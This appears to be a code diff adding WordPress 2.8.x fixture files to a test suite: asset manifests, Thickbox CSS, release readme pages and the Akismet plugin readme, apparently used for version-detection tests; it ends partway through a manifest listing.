{ "url" : "../wp-includes/js/scriptaculous/builder.js?ver=1.8.0" },
{ "url" : "../wp-includes/js/scriptaculous/dragdrop.js?ver=1.8.0" },
{ "url" : "../wp-includes/js/scriptaculous/effects.js?ver=1.8.0" },
{ "url" : "../wp-includes/js/scriptaculous/slider.js?ver=1.8.0" },
{ "url" : "../wp-includes/js/scriptaculous/sound.js?ver=1.8.0" },
{ "url" : "../wp-includes/js/scriptaculous/controls.js?ver=1.8.0" },
{ "url" : "../wp-includes/js/crop/cropper.js?ver=20070118" },
{ "url" : "../wp-includes/js/jquery/jquery.js?ver=1.2.6" },
{ "url" : "../wp-includes/js/jquery/jquery.form.js?ver=2.02" },
{ "url" : "../wp-includes/js/jquery/jquery.color.js?ver=2.0-4561" },
{ "url" : "../wp-includes/js/jquery/interface.js?ver=1.2" },
{ "url" : "../wp-includes/js/jquery/suggest.js?ver=1.1b" },
{ "url" : "../wp-includes/js/jquery/jquery.schedule.js?ver=20" },
{ "url" : "../wp-includes/js/jquery/jquery.hotkeys.js?ver=0.0.2" },
{ "url" : "../wp-includes/js/jquery/jquery.table-hotkeys.js?ver=20081128" },
{ "url" : "../wp-includes/js/thickbox/thickbox.js?ver=3.1-20080430" },
{ "url" : "../wp-includes/js/swfupload/swfupload.js?ver=2.2.0-20081031" },
{ "url" : "../wp-includes/js/swfupload/plugins/swfupload.graceful_degradation.js?ver=2.2.0-20081031" },
{ "url" : "../wp-includes/js/swfupload/plugins/swfupload.swfobject.js?ver=2.2.0-20081031" },
{ "url" : "../wp-includes/js/swfupload/plugins/swfupload.queue.js?ver=2.2.0-20081031" },
{ "url" : "../wp-includes/js/swfupload/handlers.js?ver=2.2.0-20081201" },
{ "url" : "../wp-includes/js/jquery/ui.core.js?ver=1.5.2" },
{ "url" : "../wp-includes/js/jquery/ui.tabs.js?ver=1.5.2" },
{ "url" : "../wp-includes/js/jquery/ui.sortable.js?ver=1.5.2c" },
{ "url" : "../wp-includes/js/jquery/ui.draggable.js?ver=1.5.2" },
{ "url" : "../wp-includes/js/jquery/ui.resizable.js?ver=1.5.2" },
{ "url" : "../wp-includes/js/jquery/ui.dialog.js?ver=1.5.2" },
{ "url" : "../wp-includes/js/comment-reply.js?ver=20081210" },
{ "url" : "js/cat.js?ver=20081210" },
{ "url" : "js/categories.js?ver=20081210" },
{ "url" : "js/tags.js?ver=20081210" },
{ "url" : "js/custom-fields.js?ver=20081210" },
{ "url" : "js/password-strength-meter.js?ver=20081210" },
{ "url" : "js/edit-comments.js?ver=20081210" },
{ "url" : "js/users.js?ver=20081210" },
{ "url" : "js/xfn.js?ver=3517" },
{ "url" : "js/postbox.js?ver=20081210" },
{ "url" : "js/slug.js?ver=20081210" },
{ "url" : "js/post.js?ver=20081210" },
{ "url" : "js/page.js?ver=20081210" },
{ "url" : "js/link.js?ver=20081210" },
{ "url" : "js/comment.js?ver=20081210" },
{ "url" : "js/gallery.js?ver=20081210" },
{ "url" : "js/media-upload.js?ver=20081210" },
{ "url" : "js/widgets.js?ver=20081210" },
{ "url" : "js/word-count.js?ver=20081210" },
{ "url" : "js/wp-gears.js?ver=20081210" },
{ "url" : "js/theme-preview.js?ver=20081210" },
{ "url" : "js/inline-edit-post.js?ver=20081210" },
{ "url" : "js/inline-edit-tax.js?ver=20081210" },
{ "url" : "js/plugin-install.js?ver=20081210" },
{ "url" : "js/farbtastic.js?ver=1.2" },
{ "url" : "js/dashboard.js?ver=20081210" },
{ "url" : "../wp-includes/js/hoverIntent.js?ver=20081210" },
{ "url" : "wp-admin.css?ver=20081210" },
{ "url" : "rtl.css?ver=20081210" },
{ "url" : "css/ie.css?ver=20081210" },
{ "url" : "css/ie-rtl.css?ver=20081210" },
{ "url" : "css/colors-classic.css?ver=20081210" },
{ "url" : "css/colors-classic-rtl.css?ver=20081210" },
{ "url" : "css/colors-fresh.css?ver=20081210" },
{ "url" : "css/colors-fresh-rtl.css?ver=20081210" },
{ "url" : "css/colors-classic.css?ver=20081210" },
{ "url" : "css/colors-classic-rtl.css?ver=20081210" },
{ "url" : "css/global.css?ver=20081210" },
{ "url" : "css/global-rtl.css?ver=20081210" },
{ "url" : "css/media.css?ver=20081210" },
{ "url" : "css/media-rtl.css?ver=20081210" },
{ "url" : "css/widgets.css?ver=20081210" },
{ "url" : "css/widgets-rtl.css?ver=20081210" },
{ "url" : "css/dashboard.css?ver=20081210" },
{ "url" : "css/dashboard-rtl.css?ver=20081210" },
{ "url" : "css/install.css?ver=20081210" },
{ "url" : "css/install-rtl.css?ver=20081210" },
{ "url" : "css/theme-editor.css?ver=20081210" },
{ "url" : "css/theme-editor-rtl.css?ver=20081210" },
{ "url" : "css/press-this.css?ver=20081210" },
{ "url" : "css/press-this-rtl.css?ver=20081210" },
{ "url" : "../wp-includes/js/thickbox/thickbox.css?ver=20081210" },
{ "url" : "css/login.css?ver=20081210" },
{ "url" : "css/login-rtl.css?ver=20081210" },
{ "url" : "css/plugin-install.css?ver=20081210" },
{ "url" : "css/plugin-install-rtl.css?ver=20081210" },
{ "url" : "css/farbtastic.css?ver=1.2" },
{ "url" : "css/farbtastic-rtl.css?ver=1.2" },
{ "url" : "images/align-center.png" },
{ "url" : "images/align-left.png" },
{ "url" : "images/align-none.png" },
{ "url" : "images/align-right.png" },
{ "url" : "images/archive-link.png" },
{ "url" : "images/blue-grad.png" },
{ "url" : "images/browse-happy.gif" },
{ "url" : "images/bubble_bg.gif" },
{ "url" : "images/bubble_bg-rtl.gif" },
{ "url" : "images/button-grad.png" },
{ "url" : "images/button-grad-active.png" },
{ "url" : "images/comment-grey-bubble.png" },
{ "url" : "images/date-button.gif" },
{ "url" : "images/ed-bg.gif" },
{ "url" : "images/fade-butt.png" },
{ "url" : "images/fav.png" },
{ "url" : "images/fav-arrow.gif" },
{ "url" : "images/fav-arrow-rtl.gif" },
{ "url" : "images/fav-top.png" },
{ "url" : "images/generic.png" },
{ "url" : "images/gray-grad.png" },
{ "url" : "images/icons32.png" },
{ "url" : "images/icons32-vs.png" },
{ "url" : "images/list.png" },
{ "url" : "images/list-vs.png" },
{ "url" : "images/loading.gif" },
{ "url" : "images/loading-publish.gif" },
{ "url" : "images/logo.gif" },
{ "url" : "images/logo-ghost.png" },
{ "url" : "images/logo-login.gif" },
{ "url" : "images/media-button-image.gif" },
{ "url" : "images/media-button-music.gif" },
{ "url" : "images/media-button-other.gif" },
{ "url" : "images/media-button-video.gif" },
{ "url" : "images/menu.png" },
{ "url" : "images/menu-vs.png" },
{ "url" : "images/menu-arrows.gif" },
{ "url" : "images/menu-bits.gif" },
{ "url" : "images/menu-bits-rtl.gif" },
{ "url" : "images/menu-dark.gif" },
{ "url" : "images/menu-dark-rtl.gif" },
{ "url" : "images/no.png" },
{ "url" : "images/required.gif" },
{ "url" : "images/resize.gif" },
{ "url" : "images/screen-options-left.gif" },
{ "url" : "images/screen-options-right.gif" },
{ "url" : "images/screen-options-right-up.gif" },
{ "url" : "images/se.png" },
{ "url" : "images/star.gif" },
{ "url" : "images/toggle-arrow.gif" },
{ "url" : "images/toggle-arrow-rtl.gif" },
{ "url" : "images/white-grad.png" },
{ "url" : "images/white-grad-active.png" },
{ "url" : "images/wordpress-logo.png" },
{ "url" : "images/wp-logo.gif" },
{ "url" : "images/xit.gif" },
{ "url" : "images/yes.png" },
{ "url" : "../wp-includes/images/crystal/archive.png" },
{ "url" : "../wp-includes/images/crystal/audio.png" },
{ "url" : "../wp-includes/images/crystal/code.png" },
{ "url" : "../wp-includes/images/crystal/default.png" },
{ "url" : "../wp-includes/images/crystal/document.png" },
{ "url" : "../wp-includes/images/crystal/interactive.png" },
{ "url" : "../wp-includes/images/crystal/text.png" },
{ "url" : "../wp-includes/images/crystal/video.png" },
{ "url" : "../wp-includes/images/crystal/spreadsheet.png" },
{ "url" : "../wp-includes/images/rss.png" },
{ "url" : "../wp-includes/js/thickbox/loadingAnimation.gif" },
{ "url" : "../wp-includes/js/thickbox/tb-close.png" }
]}

View File

@@ -0,0 +1,161 @@
/* ----------------------------------------------------------------------------------------------------------------*/
/* ---------->>> thickbox specific link and font settings <<<------------------------------------------------------*/
/* ----------------------------------------------------------------------------------------------------------------*/
#TB_window {
font: 12px "Lucida Grande", Verdana, Arial, sans-serif;
color: #333333;
}
#TB_secondLine {
font: 10px "Lucida Grande", Verdana, Arial, sans-serif;
color:#666666;
}
#TB_window a:link {color: #666666;}
#TB_window a:visited {color: #666666;}
#TB_window a:hover {color: #000;}
#TB_window a:active {color: #666666;}
#TB_window a:focus{color: #666666;}
/* ----------------------------------------------------------------------------------------------------------------*/
/* ---------->>> thickbox settings <<<-----------------------------------------------------------------------------*/
/* ----------------------------------------------------------------------------------------------------------------*/
#TB_overlay {
position: fixed;
z-index:100;
top: 0px;
left: 0px;
height:100%;
width:100%;
}
.TB_overlayMacFFBGHack {background: url(macFFBgHack.png) repeat;}
.TB_overlayBG {
background-color:#000;
filter:alpha(opacity=75);
-moz-opacity: 0.75;
opacity: 0.75;
}
* html #TB_overlay { /* ie6 hack */
position: absolute;
height: expression(document.body.scrollHeight > document.body.offsetHeight ? document.body.scrollHeight : document.body.offsetHeight + 'px');
}
#TB_window {
position: fixed;
background: #ffffff;
z-index: 102;
color:#000000;
display:none;
text-align:left;
top:50%;
left:50%;
border: 1px solid #555;
-moz-box-shadow: rgba(0,0,0,1) 0 4px 30px;
-webkit-box-shadow: rgba(0,0,0,1) 0 4px 30px;
-khtml-box-shadow: rgba(0,0,0,1) 0 4px 30px;
box-shadow: rgba(0,0,0,1) 0 4px 30px;
}
* html #TB_window { /* ie6 hack */
position: absolute;
margin-top: expression(0 - parseInt(this.offsetHeight / 2) + (TBWindowMargin = document.documentElement && document.documentElement.scrollTop || document.body.scrollTop) + 'px');
}
#TB_window img#TB_Image {
display:block;
margin: 15px 0 0 15px;
border-right: 1px solid #ccc;
border-bottom: 1px solid #ccc;
border-top: 1px solid #666;
border-left: 1px solid #666;
}
#TB_caption{
height:25px;
padding:7px 30px 10px 25px;
float:left;
}
#TB_closeWindow{
height:25px;
padding:11px 25px 10px 0;
float:right;
}
#TB_closeAjaxWindow{
padding:6px 10px 0;
text-align:right;
float:right;
}
#TB_ajaxWindowTitle{
float:left;
padding:6px 10px 0;
}
#TB_title{
background-color:#e8e8e8;
height:27px;
}
#TB_ajaxContent{
clear:both;
padding:2px 15px 15px 15px;
overflow:auto;
text-align:left;
line-height:1.4em;
}
#TB_ajaxContent.TB_modal{
padding:15px;
}
#TB_ajaxContent p{
padding:5px 0px 5px 0px;
}
#TB_load{
position: fixed;
display:none;
z-index:103;
top: 50%;
left: 50%;
background-color: #E8E8E8;
border: 1px solid #555;
margin: -45px 0pt 0pt -125px;
padding: 40px 15px 15px;
}
* html #TB_load { /* ie6 hack */
position: absolute;
margin-top: expression(0 - parseInt(this.offsetHeight / 2) + (TBWindowMargin = document.documentElement && document.documentElement.scrollTop || document.body.scrollTop) + 'px');
}
#TB_HideSelect{
z-index:99;
position:fixed;
top: 0;
left: 0;
background-color:#fff;
border:none;
filter:alpha(opacity=0);
-moz-opacity: 0;
opacity: 0;
height:100%;
width:100%;
}
* html #TB_HideSelect { /* ie6 hack */
position: absolute;
height: expression(document.body.scrollHeight > document.body.offsetHeight ? document.body.scrollHeight : document.body.offsetHeight + 'px');
}
#TB_iframeContent{
clear:both;
border:none;
margin-bottom:-1px;
_margin-bottom:1px;
}

91
spec/fixtures/wp_versions/2.8.2/readme.html vendored Executable file
View File

@@ -0,0 +1,91 @@
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>WordPress &rsaquo; ReadMe</title>
<link rel="stylesheet" href="wp-admin/css/install.css" type="text/css" />
</head>
<body>
<h1 id="logo" style="text-align: center">
<img alt="WordPress" src="wp-admin/images/wordpress-logo.png" />
<br /> Version 2.8.2
</h1>
<p style="text-align: center">Semantic Personal Publishing Platform</p>
<h1>First Things First</h1>
<p>Welcome. WordPress is a very special project to me. Every developer and contributor adds something unique to the mix, and together we create something beautiful that I'm proud to be a part of. Thousands of hours have gone into WordPress, and we're dedicated to making it better every day. Thank you for making it part of your world.</p>
<p style="text-align: right;">&#8212; Matt Mullenweg</p>
<h1>Installation: Famous 5-minute install</h1>
<ol>
<li>Unzip the package in an empty directory.</li>
<li>Open up <code>wp-config-sample.php</code> with a text editor like WordPad or similar and fill in your database connection details.</li>
<li>Save the file as <code>wp-config.php</code></li>
<li>Upload everything.</li>
<li>Open <span class="file"><a href="wp-admin/install.php">/wp-admin/install.php</a></span> in your browser. This should setup the tables needed for your blog. If there is an error, double check your <span class="file">wp-config.php</span> file, and try again. If it fails again, please go to the <a href="http://wordpress.org/support/">support forums</a> with as much data as you can gather.</li>
<li><strong>Note the password given to you.</strong></li>
<li> The install script should then send you to the <a href="wp-login.php">login page</a>. Sign in with the username <code>admin</code> and the password generated during the installation. You can then click on 'Profile' to change the password.</li>
</ol>
<h1>Upgrading</h1>
<p>Before you upgrade anything, make sure you have backup copies of any files you may have modified such as <code>index.php</code>.</p>
<h2>Upgrading from any previous WordPress to 2.8.2:</h2>
<ol>
<li>Delete your old WP files, saving ones you've modified.</li>
<li>Upload the new files.</li>
<li>Point your browser to <span class="file"><a href="wp-admin/upgrade.php">/wp-admin/upgrade.php</a>.</span></li>
<li>You wanted more, perhaps? That's it!</li>
</ol>
<h2>Template Changes</h2>
<p>If you have customized your templates you will probably have to make some changes to them. If you're converting your 1.2 or earlier templates, <a href="http://codex.wordpress.org/Upgrade_1.2_to_1.5">we've created a special guide for you</a>. </p>
<h1>Online Resources</h1>
<p>If you have any questions that aren't addressed in this document, please take advantage of WordPress' numerous online resources:</p>
<dl>
<dt><a href="http://codex.wordpress.org/">The WordPress Codex </a></dt>
<dd>The Codex is the encyclopedia of all things WordPress. It is the most comprehensive source of information for WordPress available.</dd>
<dt><a href="http://wordpress.org/development/">The Development Blog</a></dt>
<dd>This is where you'll find the latest updates and news related to WordPress. Bookmark and check often.</dd>
<dt><a href="http://planet.wordpress.org/">WordPress Planet </a></dt>
<dd>The WordPress Planet is a news aggregator that brings together posts from WordPress blogs around the web.</dd>
<dt><a href="http://wordpress.org/support/">WordPress Support Forums</a></dt>
<dd>If you've looked everywhere and still can't find an answer, the support forums are very active and have a large community ready to help. To help them help you be sure to use a descriptive thread title and describe your question in as much detail as possible.</dd>
<dt><a href="http://codex.wordpress.org/IRC">WordPress IRC Channel</a></dt>
<dd>Finally, there is an online chat channel that is used for discussion among people who use WordPress and occasionally support topics. The above wiki page should point you in the right direction. (<a href="irc://irc.freenode.net/wordpress">irc.freenode.net #wordpress</a>)</dd>
</dl>
<h1>System Recommendations</h1>
<ul>
<li>PHP version <strong>4.3</strong> or higher.</li>
<li>MySQL version <strong>4.0</strong> or higher.</li>
<li>... and a link to <a href="http://wordpress.org/">http://wordpress.org</a> on your site.</li>
</ul>
<p>WordPress is the official continuation of <a href="http://cafelog.com/">b2/caf&eacute;log</a>, which came from Michel V. The work has been continued by the <a href="http://wordpress.org/about/">WordPress developers</a>. If you would like to support WordPress, please consider <a href="http://wordpress.org/donate/">donating</a>.</p>
<h1>Upgrading from another system</h1>
<p>WordPress can <a href="http://codex.wordpress.org/Importing_Content">import from a number of systems</a>. First you need to get WordPress installed and working as described above.</p>
<h1>XML-RPC and Atom Interface</h1>
<p>You can now post to your WordPress blog with tools like <a href="http://windowslivewriter.spaces.live.com/">Windows Live Writer</a>, <a href="http://ecto.kung-foo.tv/">Ecto</a>, <a href="http://bloggar.com/">Bloggar</a>, <a href="http://radio.userland.com">Radio Userland</a> (which means you can use Radio's email-to-blog feature), <a href="http://www.newzcrawler.com/">NewzCrawler</a>, and other tools that support the Blogging APIs! :) You can read more about <a href="http://codex.wordpress.org/XML-RPC_Support">XML-RPC support on the Codex</a>.</p>
<h1>Post via Email</h1>
<p>You can post from an email client! To set this up go to your &quot;Writing&quot; options screen and fill in the connection details for your secret POP3 account. Then you need to set up <code>wp-mail.php</code> to execute periodically to check the mailbox for new posts. You can do it with Cron-jobs, or if your host doesn't support it you can look into the various website-monitoring services, and make them check your <code>wp-mail.php</code> URL.</p>
<p>Posting is easy: Any email sent to the address you specify will be posted, with the subject as the title. It is best to keep the address discrete. The script will <em>delete</em> emails that are successfully posted.</p>
<h1>User Roles</h1>
<p>We've eliminated user levels in order to make way for the much more flexible roles system introduced in 2.0. You can <a href="http://codex.wordpress.org/Roles_and_Capabilities">read more about Roles and Capabilities on the Codex</a>.</p>
<h1> Final notes</h1>
<ul>
<li>If you have any suggestions, ideas, comments, or if you (gasp!) found a bug, join us in the <a href="http://wordpress.org/support/">Support Forums</a>.</li>
<li>WordPress now has a robust plugin API that makes extending the code easy. If you are a developer interested in utilizing this see the <a href="http://codex.wordpress.org/Plugin_API">plugin documentation in the Codex</a>. In most all cases you shouldn't modify any of the core code.</li>
</ul>
<h1>Share the Love</h1>
<p>WordPress has no multi-million dollar marketing campaign or celebrity sponsors, but we do have something even better&#8212;you. If you enjoy WordPress please consider telling a friend, setting it up for someone less knowledgable than yourself, or writing the author of a media article that overlooks us.</p>
<h1>Copyright</h1>
<p>WordPress is released under the <abbr title="GNU Public License">GPL</abbr> (see <a href="license.txt">license.txt</a>).</p>
</body>
</html>

View File

@@ -0,0 +1,76 @@
{
"betaManifestVersion" : 1,
"version" : "ae52efa2f066ffc235840dc615f051d7",
"entries" : [
{ "url" : "images/align-center.png" },
{ "url" : "images/align-left.png" },
{ "url" : "images/align-none.png" },
{ "url" : "images/align-right.png" },
{ "url" : "images/archive-link.png" },
{ "url" : "images/blue-grad.png" },
{ "url" : "images/browse-happy.gif" },
{ "url" : "images/bubble_bg.gif" },
{ "url" : "images/bubble_bg-rtl.gif" },
{ "url" : "images/button-grad.png" },
{ "url" : "images/button-grad-active.png" },
{ "url" : "images/comment-grey-bubble.png" },
{ "url" : "images/date-button.gif" },
{ "url" : "images/ed-bg.gif" },
{ "url" : "images/fade-butt.png" },
{ "url" : "images/fav.png" },
{ "url" : "images/fav-arrow.gif" },
{ "url" : "images/fav-arrow-rtl.gif" },
{ "url" : "images/fav-top.png" },
{ "url" : "images/generic.png" },
{ "url" : "images/gray-grad.png" },
{ "url" : "images/icons32.png" },
{ "url" : "images/icons32-vs.png" },
{ "url" : "images/list.png" },
{ "url" : "images/list-vs.png" },
{ "url" : "images/wpspin_light.gif" },
{ "url" : "images/wpspin_dark.gif" },
{ "url" : "images/logo.gif" },
{ "url" : "images/logo-ghost.png" },
{ "url" : "images/logo-login.gif" },
{ "url" : "images/media-button-image.gif" },
{ "url" : "images/media-button-music.gif" },
{ "url" : "images/media-button-other.gif" },
{ "url" : "images/media-button-video.gif" },
{ "url" : "images/menu.png" },
{ "url" : "images/menu-vs.png" },
{ "url" : "images/menu-arrows.gif" },
{ "url" : "images/menu-bits.gif" },
{ "url" : "images/menu-bits-rtl.gif" },
{ "url" : "images/menu-dark.gif" },
{ "url" : "images/menu-dark-rtl.gif" },
{ "url" : "images/no.png" },
{ "url" : "images/required.gif" },
{ "url" : "images/resize.gif" },
{ "url" : "images/screen-options-left.gif" },
{ "url" : "images/screen-options-right.gif" },
{ "url" : "images/screen-options-right-up.gif" },
{ "url" : "images/se.png" },
{ "url" : "images/star.gif" },
{ "url" : "images/toggle-arrow.gif" },
{ "url" : "images/toggle-arrow-rtl.gif" },
{ "url" : "images/white-grad.png" },
{ "url" : "images/white-grad-active.png" },
{ "url" : "images/wordpress-logo.png" },
{ "url" : "images/wp-logo.gif" },
{ "url" : "images/xit.gif" },
{ "url" : "images/yes.png" },
{ "url" : "../wp-includes/images/crystal/archive.png" },
{ "url" : "../wp-includes/images/crystal/audio.png" },
{ "url" : "../wp-includes/images/crystal/code.png" },
{ "url" : "../wp-includes/images/crystal/default.png" },
{ "url" : "../wp-includes/images/crystal/document.png" },
{ "url" : "../wp-includes/images/crystal/interactive.png" },
{ "url" : "../wp-includes/images/crystal/text.png" },
{ "url" : "../wp-includes/images/crystal/video.png" },
{ "url" : "../wp-includes/images/crystal/spreadsheet.png" },
{ "url" : "../wp-includes/images/rss.png" },
{ "url" : "../wp-includes/images/blank.gif" },
{ "url" : "../wp-includes/images/upload.png" },
{ "url" : "../wp-includes/js/thickbox/loadingAnimation.gif" },
{ "url" : "../wp-includes/js/thickbox/tb-close.png" }
]}

View File

@@ -0,0 +1,42 @@
=== Akismet ===
Contributors: matt, ryan, andy, mdawaffe, tellyworth
Tags: akismet, comments, spam
Requires at least: 2.0
Tested up to: 2.8.2
Akismet checks your comments against the Akismet web service to see if they look like spam or not.
== Description ==
Akismet checks your comments against the Akismet web service to see if they look like spam or not and lets you
review the spam it catches under your blog's "Comments" admin screen.
Want to show off how much spam Akismet has caught for you? Just put `<?php akismet_counter(); ?>` in your template.
See also: [WP Stats plugin](http://wordpress.org/extend/plugins/stats/).
PS: You'll need a [WordPress.com API key](http://wordpress.com/api-keys/) to use it.
== Installation ==
Upload the Akismet plugin to your blog, Activate it, then enter your [WordPress.com API key](http://wordpress.com/api-keys/).
1, 2, 3: You're done!
== Changelog ==
= 2.2.6 =
* Fix a global warning introduced in 2.2.5
* Add changelog and additional readme.txt tags
* Fix an array conversion warning in some versions of PHP
* Support a new WPCOM_API_KEY constant for easier use with WordPress MU
= 2.2.5 =
* Include a new Server Connectivity diagnostic check, to detect problems caused by firewalls
= 2.2.4 =
* Fixed a key problem affecting the stats feature in WordPress MU
* Provide additional blog information in Akismet API calls

91
spec/fixtures/wp_versions/2.8.5/readme.html vendored Executable file
View File

@@ -0,0 +1,91 @@
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>WordPress &rsaquo; ReadMe</title>
<link rel="stylesheet" href="wp-admin/css/install.css" type="text/css" />
</head>
<body>
<h1 id="logo" style="text-align: center">
<img alt="WordPress" src="wp-admin/images/wordpress-logo.png" />
<br /> Version 2.8.5
</h1>
<p style="text-align: center">Semantic Personal Publishing Platform</p>
<h1>First Things First</h1>
<p>Welcome. WordPress is a very special project to me. Every developer and contributor adds something unique to the mix, and together we create something beautiful that I'm proud to be a part of. Thousands of hours have gone into WordPress, and we're dedicated to making it better every day. Thank you for making it part of your world.</p>
<p style="text-align: right;">&#8212; Matt Mullenweg</p>
<h1>Installation: Famous 5-minute install</h1>
<ol>
<li>Unzip the package in an empty directory.</li>
<li>Open up <code>wp-config-sample.php</code> with a text editor like WordPad or similar and fill in your database connection details.</li>
<li>Save the file as <code>wp-config.php</code></li>
<li>Upload everything.</li>
<li>Open <span class="file"><a href="wp-admin/install.php">/wp-admin/install.php</a></span> in your browser. This should setup the tables needed for your blog. If there is an error, double check your <span class="file">wp-config.php</span> file, and try again. If it fails again, please go to the <a href="http://wordpress.org/support/">support forums</a> with as much data as you can gather.</li>
<li><strong>Note the password given to you.</strong></li>
<li> The install script should then send you to the <a href="wp-login.php">login page</a>. Sign in with the username <code>admin</code> and the password generated during the installation. You can then click on 'Profile' to change the password.</li>
</ol>
<h1>Upgrading</h1>
<p>Before you upgrade anything, make sure you have backup copies of any files you may have modified such as <code>index.php</code>.</p>
<h2>Upgrading from any previous WordPress to 2.8.5:</h2>
<ol>
<li>Delete your old WP files, saving ones you've modified.</li>
<li>Upload the new files.</li>
<li>Point your browser to <span class="file"><a href="wp-admin/upgrade.php">/wp-admin/upgrade.php</a>.</span></li>
<li>You wanted more, perhaps? That's it!</li>
</ol>
<h2>Template Changes</h2>
<p>If you have customized your templates you will probably have to make some changes to them. If you're converting your 1.2 or earlier templates, <a href="http://codex.wordpress.org/Upgrade_1.2_to_1.5">we've created a special guide for you</a>. </p>
<h1>Online Resources</h1>
<p>If you have any questions that aren't addressed in this document, please take advantage of WordPress' numerous online resources:</p>
<dl>
<dt><a href="http://codex.wordpress.org/">The WordPress Codex </a></dt>
<dd>The Codex is the encyclopedia of all things WordPress. It is the most comprehensive source of information for WordPress available.</dd>
<dt><a href="http://wordpress.org/development/">The Development Blog</a></dt>
<dd>This is where you'll find the latest updates and news related to WordPress. Bookmark and check often.</dd>
<dt><a href="http://planet.wordpress.org/">WordPress Planet </a></dt>
<dd>The WordPress Planet is a news aggregator that brings together posts from WordPress blogs around the web.</dd>
<dt><a href="http://wordpress.org/support/">WordPress Support Forums</a></dt>
<dd>If you've looked everywhere and still can't find an answer, the support forums are very active and have a large community ready to help. To help them help you be sure to use a descriptive thread title and describe your question in as much detail as possible.</dd>
<dt><a href="http://codex.wordpress.org/IRC">WordPress IRC Channel</a></dt>
<dd>Finally, there is an online chat channel that is used for discussion among people who use WordPress and occasionally support topics. The above wiki page should point you in the right direction. (<a href="irc://irc.freenode.net/wordpress">irc.freenode.net #wordpress</a>)</dd>
</dl>
<h1>System Recommendations</h1>
<ul>
<li>PHP version <strong>4.3</strong> or higher.</li>
<li>MySQL version <strong>4.0</strong> or higher.</li>
<li>... and a link to <a href="http://wordpress.org/">http://wordpress.org</a> on your site.</li>
</ul>
<p>WordPress is the official continuation of <a href="http://cafelog.com/">b2/caf&eacute;log</a>, which came from Michel V. The work has been continued by the <a href="http://wordpress.org/about/">WordPress developers</a>. If you would like to support WordPress, please consider <a href="http://wordpress.org/donate/">donating</a>.</p>
<h1>Upgrading from another system</h1>
<p>WordPress can <a href="http://codex.wordpress.org/Importing_Content">import from a number of systems</a>. First you need to get WordPress installed and working as described above.</p>
<h1>XML-RPC and Atom Interface</h1>
<p>You can now post to your WordPress blog with tools like <a href="http://windowslivewriter.spaces.live.com/">Windows Live Writer</a>, <a href="http://ecto.kung-foo.tv/">Ecto</a>, <a href="http://bloggar.com/">Bloggar</a>, <a href="http://radio.userland.com">Radio Userland</a> (which means you can use Radio's email-to-blog feature), <a href="http://www.newzcrawler.com/">NewzCrawler</a>, and other tools that support the Blogging APIs! :) You can read more about <a href="http://codex.wordpress.org/XML-RPC_Support">XML-RPC support on the Codex</a>.</p>
<h1>Post via Email</h1>
<p>You can post from an email client! To set this up go to your &quot;Writing&quot; options screen and fill in the connection details for your secret POP3 account. Then you need to set up <code>wp-mail.php</code> to execute periodically to check the mailbox for new posts. You can do it with Cron-jobs, or if your host doesn't support it you can look into the various website-monitoring services, and make them check your <code>wp-mail.php</code> URL.</p>
<p>Posting is easy: Any email sent to the address you specify will be posted, with the subject as the title. It is best to keep the address discrete. The script will <em>delete</em> emails that are successfully posted.</p>
<h1>User Roles</h1>
<p>We've eliminated user levels in order to make way for the much more flexible roles system introduced in 2.0. You can <a href="http://codex.wordpress.org/Roles_and_Capabilities">read more about Roles and Capabilities on the Codex</a>.</p>
<h1> Final notes</h1>
<ul>
<li>If you have any suggestions, ideas, comments, or if you (gasp!) found a bug, join us in the <a href="http://wordpress.org/support/">Support Forums</a>.</li>
<li>WordPress now has a robust plugin API that makes extending the code easy. If you are a developer interested in utilizing this see the <a href="http://codex.wordpress.org/Plugin_API">plugin documentation in the Codex</a>. In most all cases you shouldn't modify any of the core code.</li>
</ul>
<h1>Share the Love</h1>
<p>WordPress has no multi-million dollar marketing campaign or celebrity sponsors, but we do have something even better&#8212;you. If you enjoy WordPress please consider telling a friend, setting it up for someone less knowledgable than yourself, or writing the author of a media article that overlooks us.</p>
<h1>Copyright</h1>
<p>WordPress is released under the <abbr title="GNU Public License">GPL</abbr> (see <a href="license.txt">license.txt</a>).</p>
</body>
</html>

View File

@@ -0,0 +1,76 @@
{
"betaManifestVersion" : 1,
"version" : "ae52efa2f066ffc235840dc615f051d7",
"entries" : [
{ "url" : "images/align-center.png" },
{ "url" : "images/align-left.png" },
{ "url" : "images/align-none.png" },
{ "url" : "images/align-right.png" },
{ "url" : "images/archive-link.png" },
{ "url" : "images/blue-grad.png" },
{ "url" : "images/browse-happy.gif" },
{ "url" : "images/bubble_bg.gif" },
{ "url" : "images/bubble_bg-rtl.gif" },
{ "url" : "images/button-grad.png" },
{ "url" : "images/button-grad-active.png" },
{ "url" : "images/comment-grey-bubble.png" },
{ "url" : "images/date-button.gif" },
{ "url" : "images/ed-bg.gif" },
{ "url" : "images/fade-butt.png" },
{ "url" : "images/fav.png" },
{ "url" : "images/fav-arrow.gif" },
{ "url" : "images/fav-arrow-rtl.gif" },
{ "url" : "images/fav-top.png" },
{ "url" : "images/generic.png" },
{ "url" : "images/gray-grad.png" },
{ "url" : "images/icons32.png" },
{ "url" : "images/icons32-vs.png" },
{ "url" : "images/list.png" },
{ "url" : "images/list-vs.png" },
{ "url" : "images/wpspin_light.gif" },
{ "url" : "images/wpspin_dark.gif" },
{ "url" : "images/logo.gif" },
{ "url" : "images/logo-ghost.png" },
{ "url" : "images/logo-login.gif" },
{ "url" : "images/media-button-image.gif" },
{ "url" : "images/media-button-music.gif" },
{ "url" : "images/media-button-other.gif" },
{ "url" : "images/media-button-video.gif" },
{ "url" : "images/menu.png" },
{ "url" : "images/menu-vs.png" },
{ "url" : "images/menu-arrows.gif" },
{ "url" : "images/menu-bits.gif" },
{ "url" : "images/menu-bits-rtl.gif" },
{ "url" : "images/menu-dark.gif" },
{ "url" : "images/menu-dark-rtl.gif" },
{ "url" : "images/no.png" },
{ "url" : "images/required.gif" },
{ "url" : "images/resize.gif" },
{ "url" : "images/screen-options-left.gif" },
{ "url" : "images/screen-options-right.gif" },
{ "url" : "images/screen-options-right-up.gif" },
{ "url" : "images/se.png" },
{ "url" : "images/star.gif" },
